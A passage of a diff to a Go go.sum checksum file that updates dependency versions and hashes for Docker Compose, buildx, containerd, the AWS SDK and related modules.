h1:yqJQ3nh2HWw/uxd56bicyvmDW4KSc+4wN6lL8pYjynU= +github.com/aws/aws-sdk-go-v2/credentials v1.17.60 h1:1dq+ELaT5ogfmqtV1eocq8SpOK1NRsuUfmhQtD/XAh4= +github.com/aws/aws-sdk-go-v2/credentials v1.17.60/go.mod h1:HDes+fn/xo9VeszXqjBVkxOo/aUy8Mc6QqKvZk32GlE= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.29 h1:JO8pydejFKmGcUNiiwt75dzLHRWthkwApIvPoyUtXEg= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.29/go.mod h1:adxZ9i9DRmB8zAT0pO0yGnsmu0geomp5a3uq5XpgOJ8= +github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.10 h1:zeN9UtUlA6FTx0vFSayxSX32HDw73Yb6Hh2izDSFxXY= +github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.10/go.mod h1:3HKuexPDcwLWPaqpW2UR/9n8N/u/3CKcGAzSs8p8u8g= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.33 h1:knLyPMw3r3JsU8MFHWctE4/e2qWbPaxDYLlohPvnY8c= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.33/go.mod h1:EBp2HQ3f+XCB+5J+IoEbGhoV7CpJbnrsd4asNXmTL0A= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.33 h1:K0+Ne08zqti8J9jwENxZ5NoUyBnaFDTu3apwQJWrwwA= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.33/go.mod h1:K97stwwzaWzmqxO8yLGHhClbVW1tC6VT1pDLk1pGrq4= +github.com/aws/aws-sdk-go-v2/internal/ini v1.8.3 h1:bIqFDwgGXXN1Kpp99pDOdKMTTb5d2KyU5X/BZxjOkRo= +github.com/aws/aws-sdk-go-v2/internal/ini v1.8.3/go.mod h1:H5O/EsxDWyU+LP/V8i5sm8cxoZgc2fdNR9bxlOFrQTo= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.33 h1:/frG8aV09yhCVSOEC2pzktflJJO48NwY3xntHBwxHiA= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.33/go.mod h1:8vwASlAcV366M+qxZnjNzCjeastk1Rt1bpSRaGZanGU= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.12.3 h1:eAh2A4b5IzM/lum78bZ590jy36+d/aFLgKF/4Vd1xPE= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.12.3/go.mod h1:0yKJC/kb8sAnmlYa6Zs3QVYqaC8ug2AbnNChv5Ox3uA= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.6.1 h1:7SuukGpyIgF5EiAbf1dZRxP+xSnY1WjiHBjL08fjJeE= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.6.1/go.mod h1:k+Vce/8R28tSozjdWphkrNhK8zLmdS9RgiDNZl6p8Rw= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.12.14 h1:2scbY6//jy/s8+5vGrk7l1+UtHl0h9A4MjOO2k/TM2E= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.12.14/go.mod h1:bRpZPHZpSe5YRHmPfK3h1M7UBFCn2szHzyx0rw04zro= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.18.14 h1:fgdkfsxTehqPcIQa24G/Omwv9RocTq2UcONNX/OnrZI= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.18.14/go.mod h1:wMxQ3OE8fiM8z2YRAeb2J8DLTTWMvRyYYuQOs26AbTQ= +github.com/aws/aws-sdk-go-v2/service/s3 v1.77.1 h1:5bI9tJL2Z0FGFtp/LPDv0eyliFBHCn7LAhqpQuL+7kk= +github.com/aws/aws-sdk-go-v2/service/s3 v1.77.1/go.mod h1:njj3tSJONkfdLt4y6X8pyqeM6sJLNZxmzctKKV+n1GM= +github.com/aws/aws-sdk-go-v2/service/sso v1.24.16 h1:YV6xIKDJp6U7YB2bxfud9IENO1LRpGhe2Tv/OKtPrOQ= +github.com/aws/aws-sdk-go-v2/service/sso v1.24.16/go.mod h1:DvbmMKgtpA6OihFJK13gHMZOZrCHttz8wPHGKXqU+3o= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.28.15 h1:kMyK3aKotq1aTBsj1eS8ERJLjqYRRRcsmP33ozlCvlk= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.28.15/go.mod h1:5uPZU7vSNzb8Y0dm75xTikinegPYK3uJmIHQZFq5Aqo= +github.com/aws/aws-sdk-go-v2/service/sts v1.33.15 h1:ht1jVmeeo2anR7zDiYJLSnRYnO/9NILXXu42FP3rJg0= +github.com/aws/aws-sdk-go-v2/service/sts v1.33.15/go.mod h1:xWZ5cOiFe3czngChE4LhCBqUxNwgfwndEF7XlYP/yD8= +github.com/aws/smithy-go v1.22.2 h1:6D9hW43xKFrRx/tXXfAlIZc4JI+yQe6snnWcQyxSyLQ= +github.com/aws/smithy-go v1.22.2/go.mod h1:irrKGvNn1InZwb2d7fkIRNucdfwR8R+Ts3wxYa/cJHg= +github.com/benbjohnson/clock v1.3.0 h1:ip6w0uFQkncKQ979AypyG0ER7mqUSBdKLOgAle/AT8A= +github.com/benbjohnson/clock v1.3.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/beorn7/perks v0.0.0-20150223135152-b965b613227f/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bitly/go-hostpool v0.1.0/go.mod h1:4gOCgp6+NZnVqlKyZ/iBZFTAJKembaVENUpMkpg42fw= github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngEKAMDJEczWVA= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= @@ -146,68 +183,84 @@ github.com/bugsnag/panicwrap v0.0.0-20151223152923-e2c28503fcd0/go.mod h1:D/8v3k github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.4.1 h1:iKLQ0xPNFxR/2hzXZMrBo8f1j86j5WHzznCCQxV/b8g= +github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cihub/seelog v0.0.0-20170130134532-f561c5e57575 h1:kHaBemcxl8o/pQ5VM1c8PVE1PubbNx3mjUr09OqWGCs= +github.com/cihub/seelog v0.0.0-20170130134532-f561c5e57575/go.mod h1:9d6lWj8KzO/fd/NrVaLscBKmPigpZpn5YawRPw+e3Yo= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cloudflare/cfssl v0.0.0-20180223231731-4e2dcbde5004 h1:lkAMpLVBDaj17e85keuznYcH5rqI438v41pKcBl4ZxQ= github.com/cloudflare/cfssl v0.0.0-20180223231731-4e2dcbde5004/go.mod h1:yMWuSON2oQp+43nFtAV/uvKQIFpSPerB57DCt9t8sSA= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/xds/go v0.0.0-20240905190251-b4127c9b8d78 h1:QVw89YDxXxEe+l8gU8ETbOasdwEV+avkR75ZzsVV9WI= +github.com/cncf/xds/go v0.0.0-20240905190251-b4127c9b8d78/go.mod h1:W+zGtBO5Y1IgJhy4+A9GOqVhqLpfZi+vwmdNXUehLA8= github.com/codahale/rfc6979 v0.0.0-20141003034818-6a90f24967eb h1:EDmT6Q9Zs+SbUoc7Ik9EfrFqcylYqgPZ9ANSbTAntnE= github.com/codahale/rfc6979 v0.0.0-20141003034818-6a90f24967eb/go.mod h1:ZjrT6AXHbDs86ZSdt/osfBi5qfexBrKUdONk989Wnk4= -github.com/compose-spec/compose-go/v2 v2.1.2 h1:N2XmNYg5jHNBaU+4/zSAe2UrZLq7Kkp1eSsOHfAHbxQ= -github.com/compose-spec/compose-go/v2 v2.1.2/go.mod h1:NJGRGazJfh0tD7d13h66KDVvyOHK49Wil2CIhoffiD0= -github.com/containerd/cgroups v1.1.0 h1:v8rEWFl6EoqHB+swVNjVoCJE8o3jX7e8nqBGPLaDFBM= -github.com/containerd/cgroups/v3 v3.0.2 h1:f5WFqIVSgo5IZmtTT3qVBo6TzI1ON6sycSBKkymb9L0= -github.com/containerd/cgroups/v3 v3.0.2/go.mod h1:JUgITrzdFqp42uI2ryGA+ge0ap/nxzYgkGmIcetmErE= +github.com/compose-spec/compose-go/v2 v2.4.8 h1:7Myl8wDRl/4mRz77S+eyDJymGGEHu0diQdGSSeyq90A= +github.com/compose-spec/compose-go/v2 v2.4.8/go.mod h1:lFN0DrMxIncJGYAXTfWuajfwj5haBJqrBkarHcnjJKc= +github.com/containerd/cgroups/v3 v3.0.5 h1:44na7Ud+VwyE7LIoJ8JTNQOa549a8543BmzaJHo6Bzo= +github.com/containerd/cgroups/v3 v3.0.5/go.mod h1:SA5DLYnXO8pTGYiAHXz94qvLQTKfVM5GEVisn4jpins= github.com/containerd/console v1.0.4 h1:F2g4+oChYvBTsASRTz8NP6iIAi97J3TtSAsLbIFn4ro= github.com/containerd/console v1.0.4/go.mod h1:YynlIjWYF8myEu6sdkwKIvGQq+cOckRm6So2avqoYAk= -github.com/containerd/containerd v1.7.18 h1:jqjZTQNfXGoEaZdW1WwPU0RqSn1Bm2Ay/KJPUuO8nao= -github.com/containerd/containerd v1.7.18/go.mod h1:IYEk9/IO6wAPUz2bCMVUbsfXjzw5UNP5fLz4PsUygQ4= -github.com/containerd/continuity v0.4.3 h1:6HVkalIp+2u1ZLH1J/pYX2oBVXlJZvh1X1A7bEZ9Su8= -github.com/containerd/continuity v0.4.3/go.mod h1:F6PTNCKepoxEaXLQp3wDAjygEnImnZ/7o4JzpodfroQ= -github.com/containerd/errdefs v0.1.0 h1:m0wCRBiu1WJT/Fr+iOoQHMQS/eP5myQ8lCv4Dz5ZURM= -github.com/containerd/errdefs v0.1.0/go.mod h1:YgWiiHtLmSeBrvpw+UfPijzbLaB77mEG1WwJTDETIV0= +github.com/containerd/containerd/api v1.8.0 h1:hVTNJKR8fMc/2Tiw60ZRijntNMd1U+JVMyTRdsD2bS0= +github.com/containerd/containerd/api v1.8.0/go.mod h1:dFv4lt6S20wTu/hMcP4350RL87qPWLVa/OHOwmmdnYc= +github.com/containerd/containerd/v2 v2.0.2 h1:GmH/tRBlTvrXOLwSpWE2vNAm8+MqI6nmxKpKBNKY8Wc= +github.com/containerd/containerd/v2 v2.0.2/go.mod h1:wIqEvQ/6cyPFUGJ5yMFanspPabMLor+bF865OHvNTTI= +github.com/containerd/continuity v0.4.5 h1:ZRoN1sXq9u7V6QoHMcVWGhOwDFqZ4B9i5H6un1Wh0x4= +github.com/containerd/continuity v0.4.5/go.mod h1:/lNJvtJKUQStBzpVQ1+rasXO1LAWtUQssk28EZvJ3nE= +github.com/containerd/errdefs v1.0.0 h1:tg5yIfIlQIrxYtu9ajqY42W3lpS19XqdxRQeEwYG8PI= +github.com/containerd/errdefs v1.0.0/go.mod h1:+YBYIdtsnF4Iw6nWZhJcqGSg/dwvV7tyJ/kCkyJ2k+M= +github.com/containerd/errdefs/pkg v0.3.0 h1:9IKJ06FvyNlexW690DXuQNx2KA2cUJXx151Xdx3ZPPE= +github.com/containerd/errdefs/pkg v0.3.0/go.mod h1:NJw6s9HwNuRhnjJhM7pylWwMyAkmCQvQ4GpJHEqRLVk= github.com/containerd/fifo v1.1.0 h1:4I2mbh5stb1u6ycIABlBw9zgtlK8viPI9QkQNRQEEmY= github.com/containerd/fifo v1.1.0/go.mod h1:bmC4NWMbXlt2EZ0Hc7Fx7QzTFxgPID13eH0Qu+MAb2o= github.com/containerd/log v0.1.0 h1:TCJt7ioM2cr/tfR8GPbGf9/VRAX8D2B4PjzCpfX540I= github.com/containerd/log v0.1.0/go.mod h1:VRRf09a7mHDIRezVKTRCrOq78v577GXq3bSa3EhrzVo= -github.com/containerd/nydus-snapshotter v0.13.7 h1:x7DHvGnzJOu1ZPwPYkeOPk5MjZZYbdddygEjaSDoFTk= -github.com/containerd/nydus-snapshotter v0.13.7/go.mod h1:VPVKQ3jmHFIcUIV2yiQ1kImZuBFS3GXDohKs9mRABVE= -github.com/containerd/platforms v0.2.0 h1:clGNvVIcY3k39VJSYdFGohI1b3bP/eeBUVR5+XA28oo= -github.com/containerd/platforms v0.2.0/go.mod h1:XOM2BS6kN6gXafPLg80V6y/QUib+xoLyC3qVmHzibko= -github.com/containerd/stargz-snapshotter v0.15.1 h1:fpsP4kf/Z4n2EYnU0WT8ZCE3eiKDwikDhL6VwxIlgeA= -github.com/containerd/stargz-snapshotter/estargz v0.15.1 h1:eXJjw9RbkLFgioVaTG+G/ZW/0kEe2oEKCdS/ZxIyoCU= -github.com/containerd/stargz-snapshotter/estargz v0.15.1/go.mod h1:gr2RNwukQ/S9Nv33Lt6UC7xEx58C+LHRdoqbEKjz1Kk= -github.com/containerd/ttrpc v1.2.4 h1:eQCQK4h9dxDmpOb9QOOMh2NHTfzroH1IkmHiKZi05Oo= -github.com/containerd/ttrpc v1.2.4/go.mod h1:ojvb8SJBSch0XkqNO0L0YX/5NxR3UnVk2LzFKBK0upc= -github.com/containerd/typeurl/v2 v2.1.1 h1:3Q4Pt7i8nYwy2KmQWIw2+1hTvwTE/6w9FqcttATPO/4= -github.com/containerd/typeurl/v2 v2.1.1/go.mod h1:IDp2JFvbwZ31H8dQbEIY7sDl2L3o3HZj1hsSQlywkQ0= -github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/containerd/nydus-snapshotter v0.15.0 h1:RqZRs1GPeM6T3wmuxJV9u+2Rg4YETVMwTmiDeX+iWC8= +github.com/containerd/nydus-snapshotter v0.15.0/go.mod h1:biq0ijpeZe0I5yZFSJyHzFSjjRZQ7P7y/OuHyd7hYOw= +github.com/containerd/platforms v1.0.0-rc.1 h1:83KIq4yy1erSRgOVHNk1HYdPvzdJ5CnsWaRoJX4C41E= +github.com/containerd/platforms v1.0.0-rc.1/go.mod h1:J71L7B+aiM5SdIEqmd9wp6THLVRzJGXfNuWCZCllLA4= +github.com/containerd/plugin v1.0.0 h1:c8Kf1TNl6+e2TtMHZt+39yAPDbouRH9WAToRjex483Y= +github.com/containerd/plugin v1.0.0/go.mod h1:hQfJe5nmWfImiqT1q8Si3jLv3ynMUIBB47bQ+KexvO8= +github.com/containerd/stargz-snapshotter v0.16.3 h1:zbQMm8dRuPHEOD4OqAYGajJJUwCeUzt4j7w9Iaw58u4= +github.com/containerd/stargz-snapshotter/estargz v0.16.3 h1:7evrXtoh1mSbGj/pfRccTampEyKpjpOnS3CyiV1Ebr8= +github.com/containerd/stargz-snapshotter/estargz v0.16.3/go.mod h1:uyr4BfYfOj3G9WBVE8cOlQmXAbPN9VEQpBBeJIuOipU= +github.com/containerd/ttrpc v1.2.7 h1:qIrroQvuOL9HQ1X6KHe2ohc7p+HP/0VE6XPU7elJRqQ= +github.com/containerd/ttrpc v1.2.7/go.mod h1:YCXHsb32f+Sq5/72xHubdiJRQY9inL4a4ZQrAbN1q9o= +github.com/containerd/typeurl/v2 v2.2.3 h1:yNA/94zxWdvYACdYO8zofhrTVuQY73fFU1y++dYSw40= +github.com/containerd/typeurl/v2 v2.2.3/go.mod h1:95ljDnPfD3bAbDJRugOiShd/DlAAsxGtUBhJxIn7SCk= +github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= -github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= -github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= +github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= +github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/denisenkom/go-mssqldb v0.0.0-20191128021309-1d7a30a10f73/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU= -github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= +github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13 h1:fAjc9m62+UWV/WAFKLNi6ZS0675eEUC9y3AlwSbQu1Y= +github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= github.com/distribution/reference v0.6.0 h1:0IXCQ5g4/QMHHkarYzh5l+u8T3t73zM5QvfrDyIgxBk= github.com/distribution/reference v0.6.0/go.mod h1:BbU0aIcezP1/5jX/8MP0YiH4SdvB5Y4f/wlDRiLyi3E= -github.com/docker/buildx v0.14.1 h1:Pr3HdtHoDsCghlIExgGp0WOIgvbiViushOKIPUIyFI4= -github.com/docker/buildx v0.14.1/go.mod h1:s6xxLYXZIWnkdYpSvxRmoqZTb1vViV9q2f+Hg8cWA3Y= -github.com/docker/cli v26.1.4+incompatible h1:I8PHdc0MtxEADqYJZvhBrW9bo8gawKwwenxRM7/rLu8= -github.com/docker/cli v26.1.4+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= -github.com/docker/compose/v2 v2.27.1 h1:sOeqcMN7E8HmWpjD43OVZ+Fi2t96+ZGf3aK356mTgZE= -github.com/docker/compose/v2 v2.27.1/go.mod h1:JZVWp9uVnP59S3KoVne6MboJRpx/eNr9HGE7/boB1vU= +github.com/docker/buildx v0.21.1 h1:YjV2k6CsSDbkDTOMsjARUIrj2xv+zZR+M2dtrRyzXhg= +github.com/docker/buildx v0.21.1/go.mod h1:8V4UMnlKsaGYwz83BygmIbJIFEAYGHT6KAv8akDZmqo= +github.com/docker/cli v28.0.1+incompatible h1:g0h5NQNda3/CxIsaZfH4Tyf6vpxFth7PYl3hgCPOKzs= +github.com/docker/cli v28.0.1+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= +github.com/docker/cli-docs-tool v0.9.0 h1:CVwQbE+ZziwlPqrJ7LRyUF6GvCA+6gj7MTCsayaK9t0= +github.com/docker/cli-docs-tool v0.9.0/go.mod h1:ClrwlNW+UioiRyH9GiAOe1o3J/TsY3Tr1ipoypjAUtc= +github.com/docker/compose/v2 v2.33.1 h1:i/V1gUpdbc4tMRfx30aYzw7oHKM8NGB2Oe4AUJUospw= +github.com/docker/compose/v2 v2.33.1/go.mod h1:TdDv/kdWOFrCWum5SVxVGVr+P9znSZepukHF1Dam25U= github.com/docker/distribution v2.7.1+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w= github.com/docker/distribution v2.8.3+incompatible h1:AtKxIZ36LoNK51+Z6RpzLpddBirtxJnzDrHLEKxTAYk= github.com/docker/distribution v2.8.3+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w= -github.com/docker/docker v26.1.4+incompatible h1:vuTpXDuoga+Z38m1OZHzl7NKisKWaWlhjQk7IDPSLsU= -github.com/docker/docker v26.1.4+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= +github.com/docker/docker v28.0.1+incompatible h1:FCHjSRdXhNRFjlHMTv4jUNlIBbTeRjrWfeFuJp7jpo0= +github.com/docker/docker v28.0.1+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= github.com/docker/docker-credential-helpers v0.8.2 h1:bX3YxiGzFP5sOXWc3bTPEXdEaZSeVMrFgOr3T+zrFAo= github.com/docker/docker-credential-helpers v0.8.2/go.mod h1:P3ci7E3lwkZg6XiHdRKft1KckHiO9a2rNtyFbZ/ry9M= github.com/docker/go v1.5.1-1.0.20160303222718-d30aec9fd63c h1:lzqkGL9b3znc+ZUgi7FlLnqjQhcXxkNM/quxIjBVMD0= @@ -215,8 +268,6 @@ github.com/docker/go v1.5.1-1.0.20160303222718-d30aec9fd63c/go.mod h1:CADgU4DSXK github.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec= github.com/docker/go-connections v0.5.0 h1:USnMq7hx7gwdVZq1L49hLXaFtUdTADjXGp+uj1Br63c= github.com/docker/go-connections v0.5.0/go.mod h1:ov60Kzw0kKElRwhNs9UlUHAE/F9Fe6GLaXnqyDdmEXc= -github.com/docker/go-events v0.0.0-20190806004212-e31b211e4f1c h1:+pKlWGMw7gf6bQ+oDZB4KHQFypsfjYlq/C4rfL7D3g8= -github.com/docker/go-events v0.0.0-20190806004212-e31b211e4f1c/go.mod h1:Uw6UezgYA44ePAFQYUehOuCzmy5zmg/+nl2ZfMWGkpA= github.com/docker/go-metrics v0.0.0-20180209012529-399ea8c73916/go.mod h1:/u0gXw0Gay3ceNrsHubL3BtdOL2fHf93USgMTe0W5dI= github.com/docker/go-metrics v0.0.1 h1:AgB/0SvBxihN0X8OR4SjsblXkbMvalQ8cjmtKQ2rQV8= github.com/docker/go-metrics v0.0.1/go.mod h1:cG1hvH2utMXtqgqqYE9plW6lDxS3/5ayHzueweSI3Vw= @@ -228,21 +279,28 @@ github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25Kn github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/dvsekhvalnov/jose2go v0.0.0-20170216131308-f21a8cedbbae/go.mod h1:7BvyPhdbLxMXIYTFPLsyJRFMsKmOZnQmzh6Gb+uquuM= -github.com/ebitengine/purego v0.7.1 h1:6/55d26lG3o9VCZX8lping+bZcmShseiqlh2bnUDiPA= -github.com/ebitengine/purego v0.7.1/go.mod h1:ah1In8AOtksoNK6yk5z1HTJeUkC1Ez4Wk2idgGslMwQ= +github.com/eapache/queue/v2 v2.0.0-20230407133247-75960ed334e4 h1:8EXxF+tCLqaVk8AOC29zl2mnhQjwyLxxOTuhUazWRsg= +github.com/eapache/queue/v2 v2.0.0-20230407133247-75960ed334e4/go.mod h1:I5sHm0Y0T1u5YjlyqC5GVArM7aNZRUYtTjmJ8mPJFds= +github.com/ebitengine/purego v0.6.0-alpha.5 h1:EYID3JOAdmQ4SNZYJHu9V6IqOeRQDBYxqKAg9PyoHFY= +github.com/ebitengine/purego v0.6.0-alpha.5/go.mod h1:ah1In8AOtksoNK6yk5z1HTJeUkC1Ez4Wk2idgGslMwQ= github.com/eiannone/keyboard v0.0.0-20220611211555-0d226195f203 h1:XBBHcIb256gUJtLmY22n99HaZTz+r2Z51xUPi01m3wg= github.com/eiannone/keyboard v0.0.0-20220611211555-0d226195f203/go.mod h1:E1jcSv8FaEny+OP/5k9UxZVw9YFWGj7eI4KR/iOBqCg= -github.com/emicklei/go-restful/v3 v3.12.1 h1:PJMDIM/ak7btuL8Ex0iYET9hxM3CI2sjZtzpL63nKAU= -github.com/emicklei/go-restful/v3 v3.12.1/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= +github.com/emicklei/go-restful/v3 v3.11.0 h1:rAQeMHw1c7zTmncogyy8VvRZwtkmkZ4FxERmMY4rD+g= +github.com/emicklei/go-restful/v3 v3.11.0/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.13.1 h1:vPfJZCkob6yTMEgS+0TwfTUfbHjfy/6vOJ8hUWX/uXE= +github.com/envoyproxy/go-control-plane v0.13.1/go.mod h1:X45hY0mufo6Fd0KW3rqsGvQMw58jvjymeCzBU3mWyHw= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/envoyproxy/protoc-gen-validate v1.1.0 h1:tntQDh69XqOCOZsDz0lVJQez/2L6Uu2PdjCQwWCJ3bM= +github.com/envoyproxy/protoc-gen-validate v1.1.0/go.mod h1:sXRDRVmzEbkM7CVcM06s9shE/m23dg3wzjl0UWqJ2q4= github.com/erikstmartin/go-testdb v0.0.0-20160219214506-8d10e4a1bae5/go.mod h1:a2zkGnVExMxdzMo3M0Hi/3sEU+cWnZpSni0O6/Yb/P0= -github.com/evanphx/json-patch v5.9.0+incompatible h1:fBXyNpNMuTTDdquAq/uisOr2lShz4oaXpDTX2bLe7ls= -github.com/evanphx/json-patch v5.9.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= -github.com/evanphx/json-patch/v5 v5.9.0 h1:kcBlZQbplgElYIlo/n1hJbls2z/1awpXxpRi0/FOJfg= -github.com/evanphx/json-patch/v5 v5.9.0/go.mod h1:VNkHZ/282BpEyt/tObQO8s5CMPmYYq14uClGH4abBuQ= +github.com/evanphx/json-patch v0.5.2 h1:xVCHIVMUu1wtM/VkR9jVZ45N3FhZfYMMYGorLCR8P3k= +github.com/evanphx/json-patch v0.5.2/go.mod h1:ZWS5hhDbVDyob71nXKNL0+PWn6ToqBHMikGIFbs31qQ= +github.com/evanphx/json-patch/v5 v5.9.11 h1:/8HVnzMq13/3x9TPvjG08wUGqBTmZBsCWzjTM0wiaDU= +github.com/evanphx/json-patch/v5 v5.9.11/go.mod h1:3j+LviiESTElxA4p3EMKAB9HXj3/XEtnUf6OZxqIQTM= +github.com/fatih/color 